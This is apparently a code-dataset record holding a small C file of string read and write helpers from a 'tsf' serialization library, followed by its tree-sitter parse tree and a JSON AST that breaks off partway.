{"node_id": 7, "text": "#include"}]}, "original_source_code": "#ifndef __MMC_ASYNC_IO_H__\n#define __MMC_ASYNC_IO_H__\n\n#include <stdint.h>\n\n//-----------------------------------------------------------------\n// Prototypes:\n//-----------------------------------------------------------------\nvoid mmc_async_io_init(int irq_num, int max_sectors);\nint mmc_async_io_read(uint32_t start_block, uint8_t *buffer, uint32_t sector_count);\n\n#endif\n"}
81,138
c
/* * Copyright (C) 2003, 2004, 2005 <NAME>. All rights reserved. * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY <NAME> ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <NAME> OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "tsf_internal.h" #include "tsf_format.h" char *tsf_read_string(tsf_reader_t reader, void *arg, size_t max_size) { uint8_t ui8_tmp; const size_t step=128; size_t size=step; uint32_t i=0; char *str=malloc(size); for (;;) { uint32_t n; tsf_bool_t done=tsf_false; if (str==NULL) { tsf_set_errno("Could not (m|re)alloc string"); return NULL; } for (n=step;n-->0;) { if (!reader(arg,&ui8_tmp,1)) { return NULL; } str[i++]=ui8_tmp; if (ui8_tmp==0) { done=tsf_true; break; } } if (done) { break; } size+=step; if (size>max_size) { tsf_set_error(TSF_E_PARSE_ERROR, "Remote end attempted to send a string that " "exceeded our limit of " fsz ".",max_size); free(str); return NULL; } str=realloc(str,size); } return str; } tsf_bool_t tsf_write_string(tsf_writer_t writer, void *arg, const char *str) { const char *cur_char=str; do { if (!writer(arg,(void*)cur_char,1)) { return tsf_false; } } while (*cur_char++); return tsf_true; } tsf_bool_t tsf_full_read_of_partial(tsf_partial_reader_t reader, void *arg, void *_data, uint32_t len) { uint8_t *data=_data; while (len>0) { int32_t res=reader(arg,data,len); if (res<0) { if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF && data!=_data) { char *previous_error = strdup(tsf_get_error()); tsf_set_error(TSF_E_ERRONEOUS_EOF, "End-of-file after part of a full read; original " "error: %s", previous_error); free(previous_error); } return tsf_false; } data+=res; len-=res; } return tsf_true; }
30.89
108
(translation_unit) "/*\n * Copyright (C) 2003, 2004, 2005 <NAME>. All rights reserved.\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * \n * THIS SOFTWARE IS PROVIDED BY <NAME> ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <NAME> OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n */\n\n#include "tsf_internal.h"\n#include "tsf_format.h"\n\nchar *tsf_read_string(tsf_reader_t reader,\n void *arg,\n size_t max_size) {\n uint8_t ui8_tmp;\n\n const size_t step=128;\n size_t size=step;\n \n uint32_t i=0;\n \n char *str=malloc(size);\n \n for (;;) {\n uint32_t n;\n tsf_bool_t done=tsf_false;\n \n if (str==NULL) {\n tsf_set_errno("Could not (m|re)alloc string");\n return NULL;\n }\n \n for (n=step;n-->0;) {\n if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }\n str[i++]=ui8_tmp;\n if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }\n }\n \n if (done) {\n break;\n }\n \n size+=step;\n if (size>max_size) {\n tsf_set_error(TSF_E_PARSE_ERROR,\n "Remote end attempted to send a string that "\n "exceeded our limit of " fsz ".",max_size);\n free(str);\n return NULL;\n }\n str=realloc(str,size);\n }\n \n return str;\n}\n\ntsf_bool_t tsf_write_string(tsf_writer_t writer,\n void *arg,\n const char *str) {\n const char *cur_char=str;\n\n do {\n if (!writer(arg,(void*)cur_char,1)) {\n return tsf_false;\n }\n } while (*cur_char++);\n \n return tsf_true;\n}\n\ntsf_bool_t tsf_full_read_of_partial(tsf_partial_reader_t reader,\n void *arg,\n void *_data,\n uint32_t len) {\n uint8_t *data=_data;\n while (len>0) {\n int32_t res=reader(arg,data,len);\n if (res<0) {\n if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n && data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n tsf_set_error(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error);\n free(previous_error);\n }\n return tsf_false;\n }\n data+=res;\n len-=res;\n }\n return tsf_true;\n}\n\n" (comment) "/*\n * Copyright (C) 2003, 2004, 2005 <NAME>. All rights reserved.\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * \n * THIS SOFTWARE IS PROVIDED BY <NAME> ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <NAME> OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n */" (preproc_include) "#include "tsf_internal.h"\n" (#include) "#include" (string_literal) ""tsf_internal.h"" (") """ (string_content) "tsf_internal.h" (") """ (preproc_include) "#include "tsf_format.h"\n" (#include) "#include" (string_literal) ""tsf_format.h"" (") """ (string_content) "tsf_format.h" (") """ (function_definition) "char *tsf_read_string(tsf_reader_t reader,\n void *arg,\n size_t max_size) {\n uint8_t ui8_tmp;\n\n const size_t step=128;\n size_t size=step;\n \n uint32_t i=0;\n \n char *str=malloc(size);\n \n for (;;) {\n uint32_t n;\n tsf_bool_t done=tsf_false;\n \n if (str==NULL) {\n tsf_set_errno("Could not (m|re)alloc string");\n return NULL;\n }\n \n for (n=step;n-->0;) {\n if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }\n str[i++]=ui8_tmp;\n if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }\n }\n \n if (done) {\n break;\n }\n \n size+=step;\n if (size>max_size) {\n tsf_set_error(TSF_E_PARSE_ERROR,\n "Remote end attempted to send a string that "\n "exceeded our limit of " fsz ".",max_size);\n free(str);\n return NULL;\n }\n str=realloc(str,size);\n }\n \n return str;\n}" (primitive_type) "char" (pointer_declarator) "*tsf_read_string(tsf_reader_t reader,\n void *arg,\n size_t max_size)" (*) "*" (function_declarator) "tsf_read_string(tsf_reader_t reader,\n void *arg,\n size_t max_size)" (identifier) "tsf_read_string" (parameter_list) "(tsf_reader_t reader,\n void *arg,\n size_t max_size)" (() "(" (parameter_declaration) "tsf_reader_t reader" (type_identifier) "tsf_reader_t" (identifier) "reader" (,) "," (parameter_declaration) "void *arg" (primitive_type) "void" (pointer_declarator) "*arg" (*) "*" (identifier) "arg" (,) "," (parameter_declaration) "size_t max_size" (primitive_type) "size_t" (identifier) "max_size" ()) ")" (compound_statement) "{\n uint8_t ui8_tmp;\n\n const size_t step=128;\n size_t size=step;\n \n uint32_t i=0;\n \n char *str=malloc(size);\n \n for (;;) {\n uint32_t n;\n tsf_bool_t done=tsf_false;\n \n if (str==NULL) {\n tsf_set_errno("Could not (m|re)alloc string");\n return NULL;\n }\n \n for (n=step;n-->0;) {\n if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }\n str[i++]=ui8_tmp;\n if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }\n }\n \n if (done) {\n break;\n }\n \n size+=step;\n if (size>max_size) {\n tsf_set_error(TSF_E_PARSE_ERROR,\n "Remote end attempted to send a string that "\n "exceeded our limit of " fsz ".",max_size);\n free(str);\n return NULL;\n }\n str=realloc(str,size);\n }\n \n return str;\n}" ({) "{" (declaration) "uint8_t ui8_tmp;" (primitive_type) "uint8_t" (identifier) "ui8_tmp" (;) ";" (declaration) "const size_t step=128;" (type_qualifier) "const" (const) "const" (primitive_type) "size_t" (init_declarator) "step=128" (identifier) "step" (=) "=" (number_literal) "128" (;) ";" (declaration) "size_t size=step;" (primitive_type) "size_t" (init_declarator) "size=step" (identifier) "size" (=) "=" (identifier) "step" (;) ";" (declaration) "uint32_t i=0;" (primitive_type) "uint32_t" (init_declarator) "i=0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (declaration) "char *str=malloc(size);" (primitive_type) "char" (init_declarator) "*str=malloc(size)" (pointer_declarator) "*str" (*) "*" (identifier) "str" (=) "=" (call_expression) "malloc(size)" (identifier) "malloc" (argument_list) "(size)" (() "(" (identifier) "size" ()) ")" (;) ";" (for_statement) "for (;;) {\n uint32_t n;\n tsf_bool_t done=tsf_false;\n \n if (str==NULL) {\n tsf_set_errno("Could not (m|re)alloc string");\n return NULL;\n }\n \n for (n=step;n-->0;) {\n if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }\n str[i++]=ui8_tmp;\n if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }\n }\n \n if (done) {\n break;\n }\n \n size+=step;\n if (size>max_size) {\n tsf_set_error(TSF_E_PARSE_ERROR,\n "Remote end attempted to send a string that "\n "exceeded our limit of " fsz ".",max_size);\n free(str);\n return NULL;\n }\n str=realloc(str,size);\n }" (for) "for" (() "(" (;) ";" (;) ";" ()) ")" (compound_statement) "{\n uint32_t n;\n tsf_bool_t done=tsf_false;\n \n if (str==NULL) {\n tsf_set_errno("Could not (m|re)alloc string");\n return NULL;\n }\n \n for (n=step;n-->0;) {\n if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }\n str[i++]=ui8_tmp;\n if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }\n }\n \n if (done) {\n break;\n }\n \n size+=step;\n if (size>max_size) {\n tsf_set_error(TSF_E_PARSE_ERROR,\n "Remote end attempted to send a string that "\n "exceeded our limit of " fsz ".",max_size);\n free(str);\n return NULL;\n }\n str=realloc(str,size);\n }" ({) "{" (declaration) "uint32_t n;" (primitive_type) "uint32_t" (identifier) "n" (;) ";" (declaration) "tsf_bool_t done=tsf_false;" (type_identifier) "tsf_bool_t" (init_declarator) "done=tsf_false" (identifier) "done" (=) "=" (identifier) "tsf_false" (;) ";" (if_statement) "if (str==NULL) {\n tsf_set_errno("Could not (m|re)alloc string");\n return NULL;\n }" (if) "if" (parenthesized_expression) "(str==NULL)" (() "(" (binary_expression) "str==NULL" (identifier) "str" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n tsf_set_errno("Could not (m|re)alloc string");\n return NULL;\n }" ({) "{" (expression_statement) "tsf_set_errno("Could not (m|re)alloc string");" (call_expression) "tsf_set_errno("Could not (m|re)alloc string")" (identifier) "tsf_set_errno" (argument_list) "("Could not (m|re)alloc string")" (() "(" (string_literal) ""Could not (m|re)alloc string"" (") """ (string_content) "Could not (m|re)alloc string" (") """ ()) ")" (;) ";" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (for_statement) "for (n=step;n-->0;) {\n if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }\n str[i++]=ui8_tmp;\n if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }\n }" (for) "for" (() "(" (assignment_expression) "n=step" (identifier) "n" (=) "=" (identifier) "step" (;) ";" (binary_expression) "n-->0" (update_expression) "n--" (identifier) "n" (--) "--" (>) ">" (number_literal) "0" (;) ";" ()) ")" (compound_statement) "{\n if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }\n str[i++]=ui8_tmp;\n if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }\n }" ({) "{" (if_statement) "if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }" (if) "if" (parenthesized_expression) "(!reader(arg,&ui8_tmp,1))" (() "(" (unary_expression) "!reader(arg,&ui8_tmp,1)" (!) "!" (call_expression) "reader(arg,&ui8_tmp,1)" (identifier) "reader" (argument_list) "(arg,&ui8_tmp,1)" (() "(" (identifier) "arg" (,) "," (pointer_expression) "&ui8_tmp" (&) "&" (identifier) "ui8_tmp" (,) "," (number_literal) "1" ()) ")" ()) ")" (compound_statement) "{\n return NULL;\n }" ({) "{" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (expression_statement) "str[i++]=ui8_tmp;" (assignment_expression) "str[i++]=ui8_tmp" (subscript_expression) "str[i++]" (identifier) "str" ([) "[" (update_expression) "i++" (identifier) "i" (++) "++" (]) "]" (=) "=" (identifier) "ui8_tmp" (;) ";" (if_statement) "if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }" (if) "if" (parenthesized_expression) "(ui8_tmp==0)" (() "(" (binary_expression) "ui8_tmp==0" (identifier) "ui8_tmp" (==) "==" (number_literal) "0" ()) ")" (compound_statement) "{\n done=tsf_true;\n break;\n }" ({) "{" (expression_statement) "done=tsf_true;" (assignment_expression) "done=tsf_true" (identifier) "done" (=) "=" (identifier) "tsf_true" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (}) "}" (}) "}" (if_statement) "if (done) {\n break;\n }" (if) "if" (parenthesized_expression) "(done)" (() "(" (identifier) "done" ()) ")" (compound_statement) "{\n break;\n }" ({) "{" (break_statement) "break;" (break) "break" (;) ";" (}) "}" (expression_statement) "size+=step;" (assignment_expression) "size+=step" (identifier) "size" (+=) "+=" (identifier) "step" (;) ";" (if_statement) "if (size>max_size) {\n tsf_set_error(TSF_E_PARSE_ERROR,\n "Remote end attempted to send a string that "\n "exceeded our limit of " fsz ".",max_size);\n free(str);\n return NULL;\n }" (if) "if" (parenthesized_expression) "(size>max_size)" (() "(" (binary_expression) "size>max_size" (identifier) "size" (>) ">" (identifier) "max_size" ()) ")" (compound_statement) "{\n tsf_set_error(TSF_E_PARSE_ERROR,\n "Remote end attempted to send a string that "\n "exceeded our limit of " fsz ".",max_size);\n free(str);\n return NULL;\n }" ({) "{" (expression_statement) "tsf_set_error(TSF_E_PARSE_ERROR,\n "Remote end attempted to send a string that "\n "exceeded our limit of " fsz ".",max_size);" (call_expression) "tsf_set_error(TSF_E_PARSE_ERROR,\n "Remote end attempted to send a string that "\n "exceeded our limit of " fsz ".",max_size)" (identifier) "tsf_set_error" (argument_list) "(TSF_E_PARSE_ERROR,\n "Remote end attempted to send a string that "\n "exceeded our limit of " fsz ".",max_size)" (() "(" (identifier) "TSF_E_PARSE_ERROR" (,) "," (concatenated_string) ""Remote end attempted to send a string that "\n "exceeded our limit of " fsz "."" (string_literal) ""Remote end attempted to send a string that "" (") """ (string_content) "Remote end attempted to send a string that " (") """ (string_literal) ""exceeded our limit of "" (") """ (string_content) "exceeded our limit of " (") """ (identifier) "fsz" (string_literal) ""."" (") """ (string_content) "." (") """ (,) "," (identifier) "max_size" ()) ")" (;) ";" (expression_statement) "free(str);" (call_expression) "free(str)" (identifier) "free" (argument_list) "(str)" (() "(" (identifier) "str" ()) ")" (;) ";" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (expression_statement) "str=realloc(str,size);" (assignment_expression) "str=realloc(str,size)" (identifier) "str" (=) "=" (call_expression) "realloc(str,size)" (identifier) "realloc" (argument_list) "(str,size)" (() "(" (identifier) "str" (,) "," (identifier) "size" ()) ")" (;) ";" (}) "}" (return_statement) "return str;" (return) "return" (identifier) "str" (;) ";" (}) "}" (function_definition) "tsf_bool_t tsf_write_string(tsf_writer_t writer,\n void *arg,\n const char *str) {\n const char *cur_char=str;\n\n do {\n if (!writer(arg,(void*)cur_char,1)) {\n return tsf_false;\n }\n } while (*cur_char++);\n \n return tsf_true;\n}" (type_identifier) "tsf_bool_t" (function_declarator) "tsf_write_string(tsf_writer_t writer,\n void *arg,\n const char *str)" (identifier) "tsf_write_string" (parameter_list) "(tsf_writer_t writer,\n void *arg,\n const char *str)" (() "(" (parameter_declaration) "tsf_writer_t writer" (type_identifier) "tsf_writer_t" (identifier) "writer" (,) "," (parameter_declaration) "void *arg" (primitive_type) "void" (pointer_declarator) "*arg" (*) "*" (identifier) "arg" (,) "," (parameter_declaration) "const char *str" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*str" (*) "*" (identifier) "str" ()) ")" (compound_statement) "{\n const char *cur_char=str;\n\n do {\n if (!writer(arg,(void*)cur_char,1)) {\n return tsf_false;\n }\n } while (*cur_char++);\n \n return tsf_true;\n}" ({) "{" (declaration) "const char *cur_char=str;" (type_qualifier) "const" (const) "const" (primitive_type) "char" (init_declarator) "*cur_char=str" (pointer_declarator) "*cur_char" (*) "*" (identifier) "cur_char" (=) "=" (identifier) "str" (;) ";" (do_statement) "do {\n if (!writer(arg,(void*)cur_char,1)) {\n return tsf_false;\n }\n } while (*cur_char++);" (do) "do" (compound_statement) "{\n if (!writer(arg,(void*)cur_char,1)) {\n return tsf_false;\n }\n }" ({) "{" (if_statement) "if (!writer(arg,(void*)cur_char,1)) {\n return tsf_false;\n }" (if) "if" (parenthesized_expression) "(!writer(arg,(void*)cur_char,1))" (() "(" (unary_expression) "!writer(arg,(void*)cur_char,1)" (!) "!" (call_expression) "writer(arg,(void*)cur_char,1)" (identifier) "writer" (argument_list) "(arg,(void*)cur_char,1)" (() "(" (identifier) "arg" (,) "," (cast_expression) "(void*)cur_char" (() "(" (type_descriptor) "void*" (primitive_type) "void" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (identifier) "cur_char" (,) "," (number_literal) "1" ()) ")" ()) ")" (compound_statement) "{\n return tsf_false;\n }" ({) "{" (return_statement) "return tsf_false;" (return) "return" (identifier) "tsf_false" (;) ";" (}) "}" (}) "}" (while) "while" (parenthesized_expression) "(*cur_char++)" (() "(" (pointer_expression) "*cur_char++" (*) "*" (update_expression) "cur_char++" (identifier) "cur_char" (++) "++" ()) ")" (;) ";" (return_statement) "return tsf_true;" (return) "return" (identifier) "tsf_true" (;) ";" (}) "}" (function_definition) "tsf_bool_t tsf_full_read_of_partial(tsf_partial_reader_t reader,\n void *arg,\n void *_data,\n uint32_t len) {\n uint8_t *data=_data;\n while (len>0) {\n int32_t res=reader(arg,data,len);\n if (res<0) {\n if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n && data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n tsf_set_error(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error);\n free(previous_error);\n }\n return tsf_false;\n }\n data+=res;\n len-=res;\n }\n return tsf_true;\n}" (type_identifier) "tsf_bool_t" (function_declarator) "tsf_full_read_of_partial(tsf_partial_reader_t reader,\n void *arg,\n void *_data,\n uint32_t len)" (identifier) "tsf_full_read_of_partial" (parameter_list) "(tsf_partial_reader_t reader,\n void *arg,\n void *_data,\n uint32_t len)" (() "(" (parameter_declaration) "tsf_partial_reader_t reader" (type_identifier) "tsf_partial_reader_t" (identifier) "reader" (,) "," (parameter_declaration) "void *arg" (primitive_type) "void" (pointer_declarator) "*arg" (*) "*" (identifier) "arg" (,) "," (parameter_declaration) "void *_data" (primitive_type) "void" (pointer_declarator) "*_data" (*) "*" (identifier) "_data" (,) "," (parameter_declaration) "uint32_t len" (primitive_type) "uint32_t" (identifier) "len" ()) ")" (compound_statement) "{\n uint8_t *data=_data;\n while (len>0) {\n int32_t res=reader(arg,data,len);\n if (res<0) {\n if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n && data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n tsf_set_error(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error);\n free(previous_error);\n }\n return tsf_false;\n }\n data+=res;\n len-=res;\n }\n return tsf_true;\n}" ({) "{" (declaration) "uint8_t *data=_data;" (primitive_type) "uint8_t" (init_declarator) "*data=_data" (pointer_declarator) "*data" (*) "*" (identifier) "data" (=) "=" (identifier) "_data" (;) ";" (while_statement) "while (len>0) {\n int32_t res=reader(arg,data,len);\n if (res<0) {\n if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n && data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n tsf_set_error(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error);\n free(previous_error);\n }\n return tsf_false;\n }\n data+=res;\n len-=res;\n }" (while) "while" (parenthesized_expression) "(len>0)" (() "(" (binary_expression) "len>0" (identifier) "len" (>) ">" (number_literal) "0" ()) ")" (compound_statement) "{\n int32_t res=reader(arg,data,len);\n if (res<0) {\n if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n && data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n tsf_set_error(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error);\n free(previous_error);\n }\n return tsf_false;\n }\n data+=res;\n len-=res;\n }" ({) "{" (declaration) "int32_t res=reader(arg,data,len);" (primitive_type) "int32_t" (init_declarator) "res=reader(arg,data,len)" (identifier) "res" (=) "=" (call_expression) "reader(arg,data,len)" (identifier) "reader" (argument_list) "(arg,data,len)" (() "(" (identifier) "arg" (,) "," (identifier) "data" (,) "," (identifier) "len" ()) ")" (;) ";" (if_statement) "if (res<0) {\n if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n && data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n tsf_set_error(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error);\n free(previous_error);\n }\n return tsf_false;\n }" (if) "if" (parenthesized_expression) "(res<0)" (() "(" (binary_expression) "res<0" (identifier) "res" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n && data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n tsf_set_error(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error);\n free(previous_error);\n }\n return tsf_false;\n }" ({) "{" (if_statement) "if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n && data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n tsf_set_error(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error);\n free(previous_error);\n }" (if) "if" (parenthesized_expression) "(tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n && data!=_data)" (() "(" (binary_expression) "tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n && data!=_data" (binary_expression) "tsf_get_error_code()==TSF_E_UNEXPECTED_EOF" (call_expression) "tsf_get_error_code()" (identifier) "tsf_get_error_code" (argument_list) "()" (() "(" ()) ")" (==) "==" (identifier) "TSF_E_UNEXPECTED_EOF" (&&) "&&" (binary_expression) "data!=_data" (identifier) "data" (!=) "!=" (identifier) "_data" ()) ")" (compound_statement) "{\n char *previous_error = strdup(tsf_get_error());\n tsf_set_error(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error);\n free(previous_error);\n }" ({) "{" (declaration) "char *previous_error = strdup(tsf_get_error());" (primitive_type) "char" (init_declarator) "*previous_error = strdup(tsf_get_error())" (pointer_declarator) "*previous_error" (*) "*" (identifier) "previous_error" (=) "=" (call_expression) "strdup(tsf_get_error())" (identifier) "strdup" (argument_list) "(tsf_get_error())" (() "(" (call_expression) "tsf_get_error()" (identifier) "tsf_get_error" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (expression_statement) "tsf_set_error(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error);" (call_expression) "tsf_set_error(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error)" (identifier) "tsf_set_error" (argument_list) "(TSF_E_ERRONEOUS_EOF,\n "End-of-file after part of a full read; original "\n "error: %s", previous_error)" (() "(" (identifier) "TSF_E_ERRONEOUS_EOF" (,) "," (concatenated_string) ""End-of-file after part of a full read; original "\n "error: %s"" (string_literal) ""End-of-file after part of a full read; original "" (") """ (string_content) "End-of-file after part of a full read; original " (") """ (string_literal) ""error: %s"" (") """ (string_content) "error: %s" (") """ (,) "," (identifier) "previous_error" ()) ")" (;) ";" (expression_statement) "free(previous_error);" (call_expression) "free(previous_error)" (identifier) "free" (argument_list) "(previous_error)" (() "(" (identifier) "previous_error" ()) ")" (;) ";" (}) "}" (return_statement) "return tsf_false;" (return) "return" (identifier) "tsf_false" (;) ";" (}) "}" (expression_statement) "data+=res;" (assignment_expression) "data+=res" (identifier) "data" (+=) "+=" (identifier) "res" (;) ";" (expression_statement) "len-=res;" (assignment_expression) "len-=res" (identifier) "len" (-=) "-=" (identifier) "res" (;) ";" (}) "}" (return_statement) "return tsf_true;" (return) "return" (identifier) "tsf_true" (;) ";" (}) "}"
547
0
{"language": "c", "success": true, "metadata": {"lines": 108, "avg_line_length": 30.89, "nodes": 322, "errors": 0, "source_hash": "cc30a9cde0c296bb21cff32ba8cd3f93ff01c82ab34a76245fe2077cfbde0564", "categorized_nodes": 211}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include \"tsf_internal.h\"\n", "parent": null, "children": [1, 2], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 25, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 8}}, {"id": 2, "type": "string_literal", "text": "\"tsf_internal.h\"", "parent": 0, "children": [], "start_point": {"row": 24, "column": 9}, "end_point": {"row": 24, "column": 25}}, {"id": 3, "type": "preproc_include", "text": "#include \"tsf_format.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 26, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"tsf_format.h\"", "parent": 3, "children": [], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 23}}, {"id": 6, "type": "function_definition", "text": "char *tsf_read_string(tsf_reader_t reader,\n void *arg,\n size_t max_size) {\n uint8_t ui8_tmp;\n\n const size_t step=128;\n size_t size=step;\n \n uint32_t i=0;\n \n char *str=malloc(size);\n \n for (;;) {\n uint32_t n;\n tsf_bool_t done=tsf_false;\n \n if (str==NULL) {\n tsf_set_errno(\"Could not (m|re)alloc string\");\n return NULL;\n }\n \n for (n=step;n-->0;) {\n if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }\n str[i++]=ui8_tmp;\n if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }\n }\n \n if (done) {\n break;\n }\n \n size+=step;\n if (size>max_size) {\n tsf_set_error(TSF_E_PARSE_ERROR,\n \"Remote end attempted to send a string that \"\n \"exceeded our limit of \" fsz \".\",max_size);\n free(str);\n return NULL;\n }\n str=realloc(str,size);\n }\n \n return str;\n}", "parent": null, "children": [7, 8], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 75, "column": 1}}, {"id": 7, "type": "primitive_type", "text": "char", "parent": 6, "children": [], "start_point": {"row": 